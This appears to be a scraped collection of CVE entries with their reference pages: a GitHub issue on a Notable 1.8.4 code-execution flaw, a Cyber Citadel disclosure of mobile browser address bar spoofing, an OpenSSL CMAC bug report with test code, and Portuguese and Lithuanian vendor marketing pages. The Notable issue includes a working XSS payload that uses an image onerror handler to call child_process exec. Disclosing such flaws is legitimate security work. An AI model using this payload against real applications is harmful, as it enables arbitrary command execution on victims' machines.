Notable v1.8.4 does not filter text editing, allowing attackers to execute arbitrary code via a crafted payload injected into the Title text field.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

**Comments**

![@Passenger-AMao](https://avatars.githubusercontent.com/u/57519160?s=88&v=4)

author: AMao@Hillstone  
Date: 2022-02-22

Text editing without filtering leads to arbitrary code execution

Payload：

    <img src=# onerror="require('child_process').exec('whoami',(error, stdout, stderr)=>{
      alert(`stdout: ${stdout}`);
    });">
    

eg.

![image](https://user-images.githubusercontent.com/57519160/155078475-f33a7b63-5fa9-47b7-815f-768d5b20470b.png)

![@fabiospampinato](https://avatars.githubusercontent.com/u/1812093?s=88&u=0d6a92ea991be8b4d893c64f017d10b26d60e581&v=4)

2 participants

 ![@fabiospampinato](https://avatars.githubusercontent.com/u/1812093?s=52&v=4)![@Passenger-AMao](https://avatars.githubusercontent.com/u/57519160?s=52&v=4)

CVE-2022-26198: RCE Vulnerability in Notable · Issue #1595 · notable/notable

The DuckDuckGo browser 7.64.4 on iOS allows Address Bar Spoofing due to mishandling of the JavaScript window.open function (used to open a secondary browser window). This could be exploited by tricking users into supplying sensitive information such as credentials, because the address bar would display a legitimate URL, but content would be hosted on the attacker's web site.

Press Releases | 8 February 2022

******New address bar vulnerabilities found in DuckDuckGo and Tap Browser, disclosed by Cyber Citadel researchers, could affect millions of iOS and Android users******

Cyber Citadel’s Lead Security Researcher Rafay Baloch and Security Researcher Muhammad Samak disclosed address bar spoofing vulnerabilities today in the DuckDuckGo browser for iOS, Video Downloader Browser for Android and Tap Browser for iOS mobile web browser applications

These flaws can be exploited, by potentially tricking users into supplying sensitive information to a malicious website. Our discovery found that a malicious attacker could easily lead the unsuspecting users to believe that they are visiting a legitimate website as the address bar points to the correct website. It is pertinent to mention here that, Cyber Citadel, as a part of its responsible disclosure policy gave a time frame of 60 days to all three browsers to fix these vulnerabilities. At the time of publishing this disclosure, the issue was only addressed by DuckDuckGo.

****Address Bar Spoofing Vulnerabili**es**

Mobile web browser address bar spoofing allows an attacker to change the URL of a malicious website to one that represents a legitimate website i.e. google.com, bing.com, facebook.com, or apple.com, for example.

This vulnerability bypasses the security certificates built into most modern mobile address bars. Desktop web browsers designate a website as safe by the lock icon on the far left of an address bar that ‘guarantees’ a website has a valid SSL certificate and is, therefore, secure.

On the other hand, security indicators on mobile devices are harder to find, due to the lack of screen real-estate, and restrict the ability to interrogate security elements. With typical users being unaware of website validation on mobile web browsers, cybercriminals are free to insert fake malicious pages with spoofed URL addresses.

Address bar spoofing traditionally scores approximately 4.3 out of 10 on the Common Vulnerability Scoring System (CVSS), technically assigning address bar spoofing with a moderate impact.

However, given the substantial 667% rise in spear-phishing attacks experienced during the COVID-19 pandemic, mobile address bar spoofing should arguably be held in higher regard. In a survey conducted by Mimecast, 2.1 million domains were tied to phishing attacks, with 47% of successful attacks making use of fraudulent websites. The disclosed DuckDuckGo and Tap Browser vulnerabilities directly tie into these figures by allowing cybercriminals to make fraudulent websites more believable and, therefore, more successful in harvesting sensitive information.

**DuckDuckGo**

‘Hatched’ in 2008, DuckDuckGo has become a popular web browsing tool downloaded 5 million times per month as a mobile application or desktop extension. It gives users the ability to browse the web privately, while protecting users from internet trackers.

The recent address bar spoofing CVE-2021-44683 disclosed by Baloch and Samak considerably weakens DuckDuckGo’s promised privacy protections for iOS users.

In the proof of concept (POC), Baloch and Samak revealed that version 7.64.4 of DuckDuckGo’s iOS application was prone to address bar spoofing due to a mishandling of JavaScript’s window.open function used to open a secondary window.

![](https://www.cybercitadel.com/wp-content/uploads/2022/01/DDG-POC-copy-1.jpg)

DuckDuckGo address bar spoofing POC

![](https://www.cybercitadel.com/wp-content/uploads/2022/01/DDG-Evidence.jpg)

DuckDuckGo address bar spoofing evidence

When exploited by a bad actor, an address bar in a secondary window opened in DuckDuckGo would display a legitimate URL despite being hosted by an attacker. This fraudulent page could be designed to trick users into supplying sensitive PII such as usernames and passwords.

**Tap Browser**

Built exclusively for iOS, Tap Browser is used for its additional web browsing functionalities such as easy navigation icons, in-app media players and an in-built VPN service.

Although a relatively low user base (7,000 downloads), the Tap Browser address bar spoofing vulnerability part of the CVE-2021-44683 disclosed by Baloch and Samak was open to secondary window exploitation.

In the POC, Baloch and Samak demonstrated how a secondary window could be spoofed by a bad actor to replicate Facebook, Gmail, Apple and Bing browsers.

![](https://www.cybercitadel.com/wp-content/uploads/2022/01/Tap-ABS-1.jpg)

1\. POC of address bar spoofing in Tap Browser

![](https://www.cybercitadel.com/wp-content/uploads/2022/01/ABS1.png)

1\. Evidence of address bar spoofing in Tap Browser

![](https://www.cybercitadel.com/wp-content/uploads/2022/01/Tap-ABS-2.jpeg)

2\. POC of address bar spoofing in Tap Browser

![](https://www.cybercitadel.com/wp-content/uploads/2022/01/ABS2.png)

2\. Evidence of address bar spoofing in Tap Browser

![](https://www.cybercitadel.com/wp-content/uploads/2022/01/Tap-ABS-3.jpeg)

3\. POC of address bar spoofing in Tap Browser

![](https://www.cybercitadel.com/wp-content/uploads/2022/01/ABS3.png)

3\. Evidence of address bar spoofing in Tap Browser

![](https://www.cybercitadel.com/wp-content/uploads/2022/01/Tap-ABS-4.jpg)

4\. POC of address bar spoofing in Tap Browser

![](https://www.cybercitadel.com/wp-content/uploads/2022/01/ABS4.png)

4\. Evidence of address bar spoofing in Tap Browser

**Response from Vendors**

**Vendor**

**Service**

**Version**

**Platform**

**Reported Date**

**Fixed**

**CVE**

DuckDuckGo

DuckDuckGo

7.64.4

iOS

26/09/21

7.64.18

CVE-2021-44683

Tap Browser

Tap Browser

1.2

iOS

26/09/21

Unfixed

N/A

**HexCon Talk on Address Bar Spoofing Flaws**

This is not the first time, Rafay Baloch has found flaws in browsers. In October 2021 at the Hexcon Security conference, Rafay Baloch presented his findings across various mobile browsers titled “What you see, is not always what you get”. Various categories of address bar spoofing vulnerabilities were discussed along with how these vulnerabilities can be used to abuse security mechanisms in browsers.

**Previous CVEs Disclosed by Cyber Citadel Researchers**

This disclosure by Cyber Citadel security researchers comes a year after Rafay Baloch teamed up with Rapid7’s Director of Research Tod Beardsley to disclose a similar address bar vulnerability across seven mobile web browsers including Apple Safari and Opera Touch.

Baloch reported multiple vulnerabilities on Chrome and Firefox browsers in 2016, Google Inc’s Android browser in 2014, and was paid a total of US$10,000 for reporting a Code Execution/Command Execution vulnerability on PayPal’s sub-domain in 2012. He is considered one of the world’s top ethical hackers and listed in the Google, Facebook, PayPal and Microsoft Hall of Fame.

CVE-2021-44683: Multiple Address Bar Spoofing Flaws in Mobile Browsers - Cyber Citadel

phpIPAM 1.4.4 allows Reflected XSS and CSRF via app/admin/subnets/find_free_section_subnets.php of the subnets functionality.

**Nossos números:**

**3,5MM+**Anomalias reportadas  
aos clientes em 2020**450+**Pessoas em Recife, São  
Paulo, Rio e Londres**500+**Clientes no Brasil, UK,  
LATAM e Europa**21+**Anos de experiência  

**Principais Serviços**

 

**Security Consulting**

Projetos de avaliações, testes e diagnósticos de resiliência e cibersegurança.

Saiba Mais

 

**Security Integration**

Desenhamos, instalamos e configuramos as soluções de segurança próprias e de parceiros, respeitando o fluxo do seu negócio.

Saiba Mais

 

**Managed Security Services**

Temos inteligência, tecnologias e profissionais altamente qualificados para apoiar sua empresa com projetos contínuos.

Saiba Mais

 

**Digital Identity**

O AllowMe agrega proteção e confiança à relação digital entre empresas e seus clientes.

Saiba Mais

**Trabalhamos com importantes parceiros de negócios para oferecer as melhores ferramentas em cibersegurança.**

Nosso portfólio de ponta a ponta inclui as soluções tecnológicas mais inovadoras do mercado desenvolvidas pelos maiores fabricantes internacionais.

Saiba mais

Assine nossa newsletter

Cadastre-se para receber novidades

CVE-2021-46426: Home - Tempest - Líder em Segurança Digital no Brasil!

**Nossos números:**

**3,5MM+**Anomalias reportadas  
aos clientes em 2020**450+**Pessoas em Recife, São  
Paulo, Rio e Londres**500+**Clientes no Brasil, UK,  
LATAM e Europa**21+**Anos de experiência  

**Principais Serviços**

 ![](https://www.tempest.com.br/wp-content/uploads/2021/03/Icons_verde-13.png) ![](https://www.tempest.com.br/wp-content/uploads/2021/01/Imagem7.png)

**Security Consulting**

Projetos de avaliações, testes e diagnósticos de resiliência e cibersegurança.

Saiba Mais

 ![](https://www.tempest.com.br/wp-content/uploads/2021/03/Icons_verde-07.png) ![](https://www.tempest.com.br/wp-content/uploads/2021/01/usecase-buider.png)

**Security Integration**

Desenhamos, instalamos e configuramos as soluções de segurança próprias e de parceiros, respeitando o fluxo do seu negócio.

Saiba Mais

 ![](https://www.tempest.com.br/wp-content/uploads/2021/03/Icons_verde-09.png) ![](https://www.tempest.com.br/wp-content/uploads/2021/01/Imagem12.png)

**Managed Security Services**

Temos inteligência, tecnologias e profissionais altamente qualificados para apoiar sua empresa com projetos contínuos.

Saiba Mais

 ![](https://www.tempest.com.br/wp-content/uploads/2021/03/Icons_verde-08.png) ![](https://www.tempest.com.br/wp-content/uploads/2021/01/Imagem4.png)

**Digital Identity**

O AllowMe agrega proteção e confiança à relação digital entre empresas e seus clientes.

Saiba Mais

**Trabalhamos com importantes parceiros de negócios para oferecer as melhores ferramentas em cibersegurança.**

Nosso portfólio de ponta a ponta inclui as soluções tecnológicas mais inovadoras do mercado desenvolvidas pelos maiores fabricantes internacionais.

Saiba mais

Assine nossa newsletter

Cadastre-se para receber novidades

An Insecure Permissions vulnerability exists in the OpenSSL Project 3.0 due to an error in the implementation of the CMAC_Final() function.

Hello.  
I found a wrong output of CMAC encryption when using OpenSSL 3.0.0. The testfile is as follows:

    #include <openssl/cmac.h>
    #include <iostream>
    #include <cstdio>
    #include <iomanip>
    
    using namespace std;
    
    void cmac_aes_128_ecb(){
        const EVP_CIPHER* cipher = EVP_aes_128_ecb();
        CMAC_CTX* cmac_ctx = CMAC_CTX_new();
        const uint8_t key[] =  {0x9b, 0xe8, 0x42, 0x04, 0xa7, 0x1e, 0x31, 0xeb, 0xf4, 0xe0, 0xb1, 0x1a, 0xe2, 0x5c, 0xac, 0x2f};
        const uint8_t msg[] =  {0x9b, 0x6b, 0x6a, 0x5c, 0x1f, 0x0c, 0x5b, 0x7b, 0x01, 0x9b, 0x6b, 0x6a, 0x5c, 0x1f, 0x0c, 0x5b, 0x7b, 0x01} ;
    
        if(!CMAC_Init(cmac_ctx,key,sizeof(key),cipher,0)){
            printf("err1\n");
            return;
        }
        if(!CMAC_Update(cmac_ctx,msg,sizeof(msg))){
            printf("err2\n");
            return;
        }
        uint8_t res[32]={0};
        size_t len = 0;
        if(!CMAC_Final(cmac_ctx, res, &len)){
            printf("err3\n");
            return;
        }
        for(int i = 0; i < sizeof(res); i++){
            printf("%02x ", res[i]);
        }
        printf("\n");
    }
    
    int main(){
        printf("OpenSSL result:\n");
        cmac_aes_128_ecb();
        return 0;
    }   
    

The expected output and OpenSSL's output are:

    expected output: 77 ab ed ce eb 46 8f 03 17 7e 66 7f eb 4d 85 24
    OpenSSL's output: 43 be 6f 41 19 8a 60 ea e5 33 7d fc 8b 83 ae 09
    

By reading the source code, I found that OpenSSL has an error in the implementation of the CMAC\_Final() function. According to CMAC algorithm, the final encryption logic should be:  
![1634794565](https://user-images.githubusercontent.com/60092417/138217592-f45780a4-1e37-4d19-a7ad-38580e522708.png)  
However, the OpenSSL's implementation is:  
![1634794584(1)](https://user-images.githubusercontent.com/60092417/138217620-def130b8-d719-4e53-ac05-035e588f38e0.png)  
The wrong place is probably in line 220~230 of openssl/crypto/cmac/cmac.c. I have confirmed that this error still exists in the latest version of the code.  
I tried the following modifications and found that I can get the correct output:

    if (lb == bl) {
            for (i = 0; i < bl; i++)
                ctx->last_block[i] = ctx->last_block[i] ^ ctx->k1[i];
        } else {
            ctx->last_block[lb] = 0x80;
            if (bl - lb > 1)
            memset(ctx->last_block + lb + 1, 0, bl - lb - 1);
            for (i = 0; i < bl; i++)
                ctx->last_block[i] = ctx->last_block[i] ^ ctx->k2[i];
        }
        for (i = 0; i < bl; i++)
                ctx->last_block[i] = ctx->last_block[i] ^ ctx->tbl[i];
    
        if (!EVP_Cipher(ctx->cctx, ctx->tbl, ctx->last_block, bl)) {
            OPENSSL_cleanse(out, bl);
            return 0;
        }
        for (i = 0; i < bl; i++)
            out[i] = ctx->tbl[i];
    

I hope that you can check this issue and I'm looking forward to your reply.  
Have a good day!

CVE-2021-43085: CMAC encryption result error caused by wrong implementation of CMAC_Final() · Issue #16873 · openssl/openssl

The Reporting module in Aseco Lietuva document management system DVS Avilys before 3.5.58 allows unauthorized file download. An unauthenticated attacker can impersonate an administrator by reading administrative files.

**Dokumentų ir procesų valdymo sistema „Avilys“****Mažiau popieriaus, daugiau tvarkos!**

Įsivaizduokite programinę įrangą, kuri leidžia centralizuotai kaupti visus organizacijoje sukuriamus bei gaunamus dokumentus, įgalina nepasimesti tarp skirtingų jų versijų ir redakcijų, elektroniniu būdu juos derinti, vizuoti ir pasirašyti, patvirtinti pasirašymą elektroniniu parašu, automatiškai nukreipti ir nusiųsti reikiamus elektroninius dokumentus jų adresatams.

Įsivaizduokite, kad ši programinė įranga kiekvienam darbuotojui padeda per daug trumpesnį laiką atlikti praktiškai visus su dokumentais susijusius veiksmus (parengti, redaguoti, išsaugoti, archyvuoti) ir leidžia sutaupyti dokumentų spausdinimui bei tvarkymui skirtas išlaidas.

Įsivaizduokite, kad darbuotojui nereikia žinoti, kas iš dokumentus derinančių asmenų atostogauja ir nusiųstus derinti dokumentus gali suderinti sistemoje įvestas pavaduojantis asmuo, o iš atostogų grįžęs kolega gali susipažinti su pavaduojančio asmens nuveiktais darbais.

Įsivaizduokite, kad dokumentus galima greitai surasti ir susipažinti su juose esančia informacija bet kuriuo metu, kai tai yra reikalinga, o dokumentais ir juose esančia informacija gali naudotis tik tie asmenys, kuriems jie skirti.

Įsivaizduokite, kad šia programine įranga paprasta naudotis, o ji suteikia galimybę atlikti įvairiapusę analizę.

**Visa tai ir dar daugiau atlikti padeda dokumentų ir procesų valdymo sistema „Avilys“.**

 

**Ugnė Klupšaitė**

Pardavimo projektų vadovė  
**+370 698 555 05**

 

*   Daugiau apie dokumentų valdymo sistemą
*   Turinio valdymo platforma „Avilys SDP“

Dokumentų valdymo sistema „Avilys“ padeda įvairaus dydžio viešojo sektoriaus bei verslo organizacijoms atlikti šias funkcijas: saugoti ir archyvuoti dokumentus, registruoti ir nukreipti dokumentus, rengti ir derinti dokumentų projektus bei sutartis, valdyti užduotis, projektus, resursus, pirkimus ir konsultacijų teikimą, organizuoti posėdžius, teikti elektronines paslaugas, o taip pat grafiškai modeliuoti dokumentų rengimo procesus. „Avilyje“ yra galimybė pasirašyti dokumentus el. parašu pagal Lietuvos archyvų departamento patvirtintus reikalavimus ir patogiai priimti, registruoti bei perskaityti elektroninius dokumentus ADOC ir PDF formatais. Sistemos naudotojai prie sistemos jungiasi per interneto naršyklę. Sistemoje „Avilys“ naudojami įrankiai - atvirojo kodo (Open Source) programinė įranga bei paplitusios duomenų bazių valdymo sistemos tokios, kaip „Oracle", „PostgreSQL".

DVS „Avilys“ gali būti naudojama kaip:

*   savarankiška sistema, padedanti valdyti visą organizacijos dokumentų gyvavimo ciklą - nuo dokumentų sukūrimo iki archyvavimo;
*    į pagrindines organizacijos sistemas integruota „backend“ sistema, padedanti šioms sistemoms atlikti dokumentų valdymo funkciją;
*   organizacijos turinio valdymo platforma, skirta kurti specializuotas taikomąsias programas.

**„Avilys“ - tai:**

 

*   Centralizuotas dokumentų saugojimas ir archyvavimas
*   Dokumentų valdymas
*   Užduočių valdymas
*   Sutarčių valdymas
*   Posėdžių organizavimas
*   Teisės aktų valdymas
*   Pirkimų informacijos valdymas

 

 

*   Konsultacijų valdymas
*   Resursų valdymas
*   Projektų valdymas
*   Elektroninių paslaugų valdymas
*   Periodinės priminimų ataskaitos
*   Lanksčios ir sklandžios integravimo galimybės

 

** DVS „Avilys“ privalumai:**

****

*   El. dokumentų ir el. parašo funkcionalumas (pasirašymas naudojant mobilų ar lokalų įrenginį, Smart-ID priemonę)
*   Išorinio pasirašymo funkcionalumas ("Avilyje" paruoštas dvišalis ADOC ar PDF dokumentas siunčiamas pasirašyti kitai šaliai per nuorodą į išorinę svetainę ir pasirašytas dokumentas automatiškai įsikelia "Avilyje")
*   Pavadavimas ir dokumentų perdavimas
*   Centralizuotas saugojimas ir archyvavimas
*   Automatizuoti derinimo, vizavimo, pasirašymo ir tvirtinimo procesai
*   Masiniai veiksmai su dokumentais (masinis skenavimas, nukreipimas, susiejimas, vizavimas ir pasirašymas, įkėlimas į sistemą, užduočių skyrimas ir uždarymas, duomenų keitimas)
*   Grafinis vidinių procesų modeliavimas (procesų šablonai, drag-and-drop principas)
*   Veiksmų istorija ir versijų atsekamumas
*   Pilnatekstė dokumentų paieška, paieškos rezultatų eksportas, personalizuotos paieškos
*   Optinio simbolių atpažinimo (OCR) galimybė
*   Automatinis turinio failų formato konvertavimas
*   Lanksčios integravimo su išorinėmis sistemomis galimybės (e. pristatymo sistema, personalo ir finansų valdymo sistemomis, teisės aktų registru, el. archyvo informacine sistema, kt.)
*   Ataskaitos (ataskaitų ruošiniai, įvairūs ataskaitų formatai, periodinės ataskaitos el. paštu)
*   Daugiaplatformė architektūra
*   Paprastas sistemos administravimas
*   Sistemos veikimo stebėsenos įrankis
*   Sustiprintas saugumas (dokumentų viešumo ir naudotojų slaptumo lygiai, organizacijos padalinių ir darbuotojų matomumo ribojimas, įspėjimai apie įslaptintų dokumentų eksportavimą)

**Pagrindiniai moduliai:**

**Centralizuotas dokumentų saugojimas ir archyvavimas**

*   Dokumentų saugojimas vienoje vietoje
*   Senų duomenų archyvavimas
*   Neaktualių archyvuotų duomenų šalinimas
*   Ataskaitos
*   Įvairios paieškos galimybės

 

**Dokumentų valdymas**

*   Gaunamų, siunčiamų bei vidaus dokumentų registravimas
*   Dokumentų klasifikavimas
*   Dokumentų rengimas, derinimas, vizavimas, pasirašymas ir tvirtinimas
*   Ruošiniai dokumentams rengti
*   Sudėtingų ir didelės apimtis dokumentų rengimas (grupinis darbas)
*   Dokumentų susiejimas
*   Optinis simbolių atpažinimas (OCR)
*   Automatinio registracijos spaudo funkcija
*   Tiesioginis skenavimas, įkėlimas iš el. laiško

 

**Užduočių valdymas**

*   Užduočių skyrimas
*   Pavadavimas (darbų perdavimas pavaduojančiam kolegai)
*   Užduočių vykdymo kontrolė
*   Tarpiniai užduoties vykdymo rezultatai
*   Priminimai ir įspėjimai
*   Galimybė automatiškai uždaryti užduotį

 

**Sutarčių valdymas**

*   Sutarčių rengimas, derinimas, vizavimas ir pasirašymas
*   Ruošiniai sutartims ruošti
*   Sutarčių ir kitų dokumentų susiejimas
*   Sutarties etapų valdymas
*   Sutarties vertės, datos, būsenos
*   Priminimai
*   Versijų atsekamumas
*   Veiksmų istorija
*   Proceso seka (automatizavimas)

 

**Posėdžių organizavimas**

*   Svarstytinų klausimų pateikimas
*   Darbotvarkės sudarymas ir derinimas
*   Dalyvių pakvietimas ir supažindinimas su posėdžio informacija
*   Posėdžio protokolavimas

 

**Elektroninių paslaugų valdymas**

*   Paslaugų aprašymų valdymas ir publikavimas
*   Informacijos, susijusios su paslaugų teikimu, publikavimas
*   Paslaugų paraiškų duomenų perdavimas į DVS vykdymui
*   Paslaugos vykdymo būsenos pateikimas iš DVS paslaugos gavėjui
*   Paslaugos įvykdymo rezultatų iš DVS pateikimas

 

**Kiti funkcionalumai:**

*   El. dokumentai ir el. parašas (el. dokumentų priėmimas, tikrinimas ir registravimas, rengimas, derinimas ir pasirašymas el. parašu)
*   Išorinis pasirašymas (dvišalių ADOC ar PDF dokumentų, pvz. sutarčių ir jos priedų, pasirašymas el. parašu)
*   Periodinės priminimų ataskaitos (apie neįvykdytas užduotis, kt.)
*   Pirkimų informacijos valdymas (pirkimo paraiškos rengimas ir derinimas)
*   Resursų valdymas (posėdžių salių, automobilių, konferencijų įrangos, kt.)
*   Projektų valdymas (projekto registravimas, dokumentų susiejimas, užduoties skyrimas projekto komandai)
*   Konsultacijų valdymas (informacijos apie konsultacijas administravimas ir konsultacijų teikimas, konsultacijų užsakymas)
*   Teisės aktų valdymas (rengimas, derinimas, publikavimas)

**Klientai:**

 

*   Ignalinos atominė elektrinė
*   Lietuvos bankas
*   Vilniaus, Klaipėdos, Panevėžio, Alytaus, Šiaulių miestų savivaldybės
*   Biržų, Pakruojo, Šiaulių, Zarasų rajonų savivaldybės
*   LR Vyriausybės kanceliarija
*   LR krašto apsaugos ministerija
*   LR susisiekimo ministerija
*   LR teisingumo ministerija
*   LR užsienio reikalų ministerija
*   LR vidaus reikalų ministerija
*   Policijos departamentas
*   Informacinės visuomenės plėtros komitetas
*   Lietuvos Respublikos transporto priemonių draudikų biuras
*   Klaipėdos valstybinio jūrų uosto direkcija

 

 

*   Lietuvos nacionalinė M. Mažvydo biblioteka ir kelios viešosios bibliotekos
*   Lietuvos vyriausiojo archyvaro tarnyba
*   Vilniaus universitetas
*   Kultūros paveldo departamentas
*   Nacionalinis muziejus Lietuvos Didžiosios kunigaikštystės valdovų rūmai
*   Nacionalinė žemės tarnyba
*   Valstybinė geležinkelio inspekcija
*   Lietuvos transporto saugos administracija
*   Valstybinė mokesčių inspekcija
*   Valstybinė teritorijų planavimo ir statybos inspekcija
*   Valstybinis patentų biuras
*   Žemės ūkio informacijos ir kaimo verslo centras
*   „Akropolis group"

 

„Avilys SDP“ - tai turinio valdymo (ECM) platforma, kuri apima metodus ir įrankius, naudojamus užfiksuoti, valdyti, įrašyti, išsaugoti ir pateikti informaciją, dokumentus ir duomenis, susijusius su organizacijos veiklos procesais, bei kurios pagalba galima konfigūruoti ir kurti naujus modulius bei taikomąsias programas įvairiems su organizacijos veiklos procesais susijusiems funkcionalumams įgyvendinti.

Daugiau informacijos meniu „Sprendimai“ skiltyje „Turinio valdymas“.

CVE-2022-27192: DVS Avilys

The Reporting module in Aseco Lietuva document management system DVS Avilys before 2022-03-10 allows unauthorized file download. An unauthenticated attacker can impersonate an administrator by reading administrative files.

![Dokumentu valdymas, rengimas ir saugojimas](https://lt.asseco.com/files/lt/solution_images_large/document-management-large.jpg)

**Dokumentų ir procesų valdymo sistema „Avilys“****Mažiau popieriaus, daugiau tvarkos!**

Įsivaizduokite programinę įrangą, kuri leidžia centralizuotai kaupti visus organizacijoje sukuriamus bei gaunamus dokumentus, įgalina nepasimesti tarp skirtingų jų versijų ir redakcijų, elektroniniu būdu juos derinti, vizuoti ir pasirašyti, patvirtinti pasirašymą elektroniniu parašu, automatiškai nukreipti ir nusiųsti reikiamus elektroninius dokumentus jų adresatams.

Įsivaizduokite, kad ši programinė įranga kiekvienam darbuotojui padeda per daug trumpesnį laiką atlikti praktiškai visus su dokumentais susijusius veiksmus (parengti, redaguoti, išsaugoti, archyvuoti) ir leidžia sutaupyti dokumentų spausdinimui bei tvarkymui skirtas išlaidas.

Įsivaizduokite, kad darbuotojui nereikia žinoti, kas iš dokumentus derinančių asmenų atostogauja ir nusiųstus derinti dokumentus gali suderinti sistemoje įvestas pavaduojantis asmuo, o iš atostogų grįžęs kolega gali susipažinti su pavaduojančio asmens nuveiktais darbais.

Įsivaizduokite, kad dokumentus galima greitai surasti ir susipažinti su juose esančia informacija bet kuriuo metu, kai tai yra reikalinga, o dokumentais ir juose esančia informacija gali naudotis tik tie asmenys, kuriems jie skirti.

Įsivaizduokite, kad šia programine įranga paprasta naudotis, o ji suteikia galimybę atlikti įvairiapusę analizę.

**Visa tai ir dar daugiau atlikti padeda dokumentų ir procesų valdymo sistema „Avilys“.**

![](https://lt.asseco.com/files/lt/contact/klupsaite_ugne4.png)

 

**Ugnė Klupšaitė**

Pardavimo projektų vadovė  
**+370 698 555 05**

 

*   Daugiau apie dokumentų valdymo sistemą
*   Turinio valdymo platforma „Avilys SDP“

Dokumentų valdymo sistema „Avilys“ padeda įvairaus dydžio viešojo sektoriaus bei verslo organizacijoms atlikti šias funkcijas: saugoti ir archyvuoti dokumentus, registruoti ir nukreipti dokumentus, rengti ir derinti dokumentų projektus bei sutartis, valdyti užduotis, projektus, resursus, pirkimus ir konsultacijų teikimą, organizuoti posėdžius, teikti elektronines paslaugas, o taip pat grafiškai modeliuoti dokumentų rengimo procesus. „Avilyje“ yra galimybė pasirašyti dokumentus el. parašu pagal Lietuvos archyvų departamento patvirtintus reikalavimus ir patogiai priimti, registruoti bei perskaityti elektroninius dokumentus ADOC ir PDF formatais. Sistemos naudotojai prie sistemos jungiasi per interneto naršyklę. Sistemoje „Avilys“ naudojami įrankiai - atvirojo kodo (Open Source) programinė įranga bei paplitusios duomenų bazių valdymo sistemos tokios, kaip „Oracle", „PostgreSQL".

DVS „Avilys“ gali būti naudojama kaip:

*   savarankiška sistema, padedanti valdyti visą organizacijos dokumentų gyvavimo ciklą - nuo dokumentų sukūrimo iki archyvavimo;
*    į pagrindines organizacijos sistemas integruota „backend“ sistema, padedanti šioms sistemoms atlikti dokumentų valdymo funkciją;
*   organizacijos turinio valdymo platforma, skirta kurti specializuotas taikomąsias programas.

**„Avilys“ - tai:**

 

*   Centralizuotas dokumentų saugojimas ir archyvavimas
*   Dokumentų valdymas
*   Užduočių valdymas
*   Sutarčių valdymas
*   Posėdžių organizavimas
*   Teisės aktų valdymas
*   Pirkimų informacijos valdymas

 

 

*   Konsultacijų valdymas
*   Resursų valdymas
*   Projektų valdymas
*   Elektroninių paslaugų valdymas
*   Periodinės priminimų ataskaitos
*   Lanksčios ir sklandžios integravimo galimybės

 

** DVS „Avilys“ privalumai:**

**![Sprendimas paprastam dokumentų valdymui](https://lt.asseco.com/files/lt/solution_images_small/LT_027.jpg)**

*   El. dokumentų ir el. parašo funkcionalumas (pasirašymas naudojant mobilų ar lokalų įrenginį, Smart-ID priemonę)
*   Išorinio pasirašymo funkcionalumas ("Avilyje" paruoštas dvišalis ADOC ar PDF dokumentas siunčiamas pasirašyti kitai šaliai per nuorodą į išorinę svetainę ir pasirašytas dokumentas automatiškai įsikelia "Avilyje")
*   Pavadavimas ir dokumentų perdavimas
*   Centralizuotas saugojimas ir archyvavimas
*   Automatizuoti derinimo, vizavimo, pasirašymo ir tvirtinimo procesai
*   Masiniai veiksmai su dokumentais (masinis skenavimas, nukreipimas, susiejimas, vizavimas ir pasirašymas, įkėlimas į sistemą, užduočių skyrimas ir uždarymas, duomenų keitimas)
*   Grafinis vidinių procesų modeliavimas (procesų šablonai, drag-and-drop principas)
*   Veiksmų istorija ir versijų atsekamumas
*   Pilnatekstė dokumentų paieška, paieškos rezultatų eksportas, personalizuotos paieškos
*   Optinio simbolių atpažinimo (OCR) galimybė
*   Automatinis turinio failų formato konvertavimas
*   Lanksčios integravimo su išorinėmis sistemomis galimybės (e. pristatymo sistema, personalo ir finansų valdymo sistemomis, teisės aktų registru, el. archyvo informacine sistema, kt.)
*   Ataskaitos (ataskaitų ruošiniai, įvairūs ataskaitų formatai, periodinės ataskaitos el. paštu)
*   Daugiaplatformė architektūra
*   Paprastas sistemos administravimas
*   Sistemos veikimo stebėsenos įrankis
*   Sustiprintas saugumas (dokumentų viešumo ir naudotojų slaptumo lygiai, organizacijos padalinių ir darbuotojų matomumo ribojimas, įspėjimai apie įslaptintų dokumentų eksportavimą)

**Pagrindiniai moduliai:**

**Centralizuotas dokumentų saugojimas ir archyvavimas**

*   Dokumentų saugojimas vienoje vietoje
*   Senų duomenų archyvavimas
*   Neaktualių archyvuotų duomenų šalinimas
*   Ataskaitos
*   Įvairios paieškos galimybės

 

**Dokumentų valdymas**

*   Gaunamų, siunčiamų bei vidaus dokumentų registravimas
*   Dokumentų klasifikavimas
*   Dokumentų rengimas, derinimas, vizavimas, pasirašymas ir tvirtinimas
*   Ruošiniai dokumentams rengti
*   Sudėtingų ir didelės apimtis dokumentų rengimas (grupinis darbas)
*   Dokumentų susiejimas
*   Optinis simbolių atpažinimas (OCR)
*   Automatinio registracijos spaudo funkcija
*   Tiesioginis skenavimas, įkėlimas iš el. laiško

 

**Užduočių valdymas**

*   Užduočių skyrimas
*   Pavadavimas (darbų perdavimas pavaduojančiam kolegai)
*   Užduočių vykdymo kontrolė
*   Tarpiniai užduoties vykdymo rezultatai
*   Priminimai ir įspėjimai
*   Galimybė automatiškai uždaryti užduotį

 

**Sutarčių valdymas**

*   Sutarčių rengimas, derinimas, vizavimas ir pasirašymas
*   Ruošiniai sutartims ruošti
*   Sutarčių ir kitų dokumentų susiejimas
*   Sutarties etapų valdymas
*   Sutarties vertės, datos, būsenos
*   Priminimai
*   Versijų atsekamumas
*   Veiksmų istorija
*   Proceso seka (automatizavimas)

 

**Posėdžių organizavimas**

*   Svarstytinų klausimų pateikimas
*   Darbotvarkės sudarymas ir derinimas
*   Dalyvių pakvietimas ir supažindinimas su posėdžio informacija
*   Posėdžio protokolavimas

 

**Elektroninių paslaugų valdymas**

*   Paslaugų aprašymų valdymas ir publikavimas
*   Informacijos, susijusios su paslaugų teikimu, publikavimas
*   Paslaugų paraiškų duomenų perdavimas į DVS vykdymui
*   Paslaugos vykdymo būsenos pateikimas iš DVS paslaugos gavėjui
*   Paslaugos įvykdymo rezultatų iš DVS pateikimas

 

**Kiti funkcionalumai:**

![Optimizuokite dokumentų valdymą!](https://lt.asseco.com/files/lt/pictures_all/about_es_small_02.jpg)

*   El. dokumentai ir el. parašas (el. dokumentų priėmimas, tikrinimas ir registravimas, rengimas, derinimas ir pasirašymas el. parašu)
*   Išorinis pasirašymas (dvišalių ADOC ar PDF dokumentų, pvz. sutarčių ir jos priedų, pasirašymas el. parašu)
*   Periodinės priminimų ataskaitos (apie neįvykdytas užduotis, kt.)
